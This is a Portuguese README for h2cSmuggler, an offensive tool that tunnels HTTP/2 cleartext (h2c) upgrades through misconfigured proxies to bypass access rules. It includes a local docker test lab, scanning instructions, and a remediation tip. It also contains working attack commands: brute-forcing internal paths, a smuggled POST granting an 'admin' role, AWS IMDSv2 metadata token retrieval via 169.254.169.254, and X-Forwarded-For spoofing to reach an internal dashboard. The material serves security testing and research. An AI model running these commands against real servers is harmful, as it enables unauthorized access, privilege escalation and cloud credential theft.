
Contrabando de requisições HTTP sobre HTTP/2 em texto claro (h2c)
h2cSmuggler contrabandeia tráfego HTTP através de configurações inseguras de proxy_pass em servidores de borda, estabelecendo comunicações HTTP/2 em texto claro (h2c) com servidores back-end compatíveis com h2c, permitindo contornar regras de proxy e controles de acesso.
Veja meu artigo detalhado abaixo para:
Aqui: https://labs.bishopfox.com/tech-blog/h2c-smuggling-request-smuggling-via-http/2-cleartext-h2c
Qualquer endpoint de proxy que encaminhe cabeçalhos de upgrade h2c pode ser afetado. Como o h2c foi projetado para ser realizado apenas em canais de texto claro, a detecção em serviços HTTPS geralmente resulta em verdadeiros positivos.
Por outro lado, serviços HTTP podem resultar em falsos positivos. Por exemplo, proxies habilitados para h2c podem responder ao upgrade em vez de encaminhá-lo a um back-end h2c.
Use a opção --scan-list para testar um ou mais servidores web em busca de endpoints proxy_pass afetados. Considere usar uma lista de diretórios descobertos por enumeração de diretórios, como:
urls.txt
https://www.example.com/
https://www.example.com/api/
https://www.example.com/auth/
https://www.example.com/admin/
https://www.example.com/payments/
...omitted for brevity...
Execute o h2cSmuggler com a lista de endpoints e um número total de threads:
./h2csmuggler.py --scan-list urls.txt --threads 5
Ou, um teste individual pode ser realizado com:
./h2csmuggler.py -x https://www.example.com/api/ --test
Depois de identificar um endpoint afetado que pode ser usado para tunelamento, você pode acessar ou realizar força bruta em endpoints internos no servidor back-end e fornecer verbos ou cabeçalhos personalizados. Na demo abaixo, demonstramos o acesso a um endpoint interno /flag usando contrabando h2c para contornar regras de negação do proxy.
Para correção, não encaminhe valores fornecidos pelo usuário para os cabeçalhos Upgrade ou Connection. Consulte o post técnico para orientações adicionais.
A única dependência é a biblioteca Python hyper-h2:
pip3 install h2
O ambiente de teste permitirá que você experimente o h2cSmuggler em um ambiente controlado. O docker-compose simulará três cadeias de proxies que levam a um back-end Golang habilitado para h2c:
TCP port: Descrição
======== ===========
8000: Back-end HTTP h2c
8001: HAProxy -> back-end h2c (Configuração padrão insegura)
8002: nginx -> back-end h2c (Configuração personalizada insegura)
8003: Nuster -> HAProxy -> back-end h2c (Configuração insegura com múltiplas camadas de proxies)
[1] Gere certificados e inicie o ambiente com docker-compose:
# Generate certs
./configs/generate-certificates.sh
# Activate services
docker-compose up
Todos os proxies negam acesso ao endpoint /flag acessível no back-end h2c. Vamos tentar acessar o endpoint proibido através do servidor HAProxy rodando na porta 8001:
Podemos usar o h2cSmuggler para confirmar a configuração insegura do proxy usando --test (ou -t):
Agora, vamos usar o h2cSmuggler para realizar um upgrade h2c, tunelar nosso tráfego HTTP/2 através do proxy e solicitar o endpoint /flag do back-end, contornando o controle de acesso do proxy:
Para uma explicação mais aprofundada do que está acontecendo, confira o artigo técnico.
h2cSmuggler usa uma sintaxe familiar semelhante ao curl para descrever a solicitação contrabandeada:
usage: h2csmuggler.py [-h] [--scan-list SCAN_LIST] [--threads THREADS] [--upgrade-only] [-x PROXY] [-i WORDLIST] [-X REQUEST] [-d DATA] [-H HEADER] [-m MAX_TIME] [-t] [-v]
[url]
Detect and exploit insecure forwarding of h2c upgrades.
positional arguments:
url
optional arguments:
-h, --help show this help message and exit
--scan-list SCAN_LIST
list of URLs for scanning
--threads THREADS # of threads (for use with --scan-list)
--upgrade-only drop HTTP2-Settings from outgoing Connection header
-x PROXY, --proxy PROXY
proxy server to try to bypass
-i WORDLIST, --wordlist WORDLIST
list of paths to bruteforce
-X REQUEST, --request REQUEST
smuggled verb
-d DATA, --data DATA smuggled data
-H HEADER, --header HEADER
smuggled headers
-m MAX_TIME, --max-time MAX_TIME
socket timeout in seconds (type: float; default 10)
-t, --test test a single proxy server
-v, --verbose
https://example.com:443/api/, https://example.com:443/payments, https://sub.example.com:443/) para identificar endpoints proxy_pass suscetíveis a contrabando (cuidado com a contagem de threads ao testar um único servidor):./h2csmuggler.py --scan-list urls.txt --threads 5
Ou, para redirecionar a saída para um arquivo. Use stderr (2>) e stdout (1>). O fluxo stderr contém erros (por exemplo, problemas de handshake SSL/timeout), enquanto stdout contém resultados.
./h2csmuggler.py --scan-list urls.txt --threads 5 2>errors.txt 1>results.txt
https://edgeserver para um endpoint interno:./h2csmuggler.py -x https://edgeserver -X POST -d '{"user":128457 "role": "admin"}' -H "Content-Type: application/json" -H "X-SYSTEM-USER: true" http://backend/api/internal/user/permissions
dirs.txt representa uma lista de caminhos (por exemplo, /api/, /admin/)./h2csmuggler.py -x https://edgeserver -i dirs.txt http://localhost/
Host via contrabando h2c (por exemplo, AWS metadata IMDSv2):Recuperando o token:
./h2csmuggler.py -x https://edgeserver -X PUT -H "X-aws-ec2-metadata-token-ttl-seconds: 21600" http://169.254.169.254/latest/api/token`
Transmitindo o token:
./h2csmuggler.py -x https://edgeserver -H "x-aws-ec2-metadata-token: TOKEN" http://169.254.169.254/latest/meta-data/
X-Forwarded-For para acessar um painel interno:./h2csmuggler.py -x https://edgeserver -H "X-Forwarded-For: 127.0.0.1" -H "X-Real-IP: 172.16.0.1" http://backend/system/dashboard
P: Por que há múltiplas respostas do servidor?
R: A primeira resposta é a resposta de dados à solicitação de upgrade original iniciada em HTTP/1.1, de acordo com o protocolo de upgrade h2c. As respostas seguintes são da solicitação contrabandeada.
P: Recebi um "101 Switching Protocols" mas não estou recebendo nenhum dado do servidor remoto.
R: Observei esse comportamento em meus testes e descobri que alguns servidores respondem com status 101 mesmo que não suportem HTTP/2.
P: Estabelecer um túnel h2c é sempre uma vulnerabilidade?
R: Não. Considere um balanceador de carga TCP que termina TLS (por exemplo, ELB) fazendo proxy diretamente para um back-end compatível com h2c. Embora você possa estabelecer uma conexão h2c, se não houver controles de acesso sendo aplicados, então não há controles de acesso a serem contornados, ou privilégio a ser obtido ao iniciar este túnel.
P: Por que a URI da solicitação contrabandeada requer um esquema? Para que é usado?
R: O protocolo HTTP/2 requer um pseudo-cabeçalho :scheme. Para nosso caso de uso, http vs https provavelmente não importa. Para mais detalhes, veja HTTP/2 RFC: Seção 8.1.2.3.
P: O que devo usar como nome de host para o servidor back-end?
R: É melhor começar com o mesmo nome de host do servidor de borda. Em seguida, tente experimentar valores alternativos de nome de host.
Twitter: @theBumbleSec
GitHub: the-bumble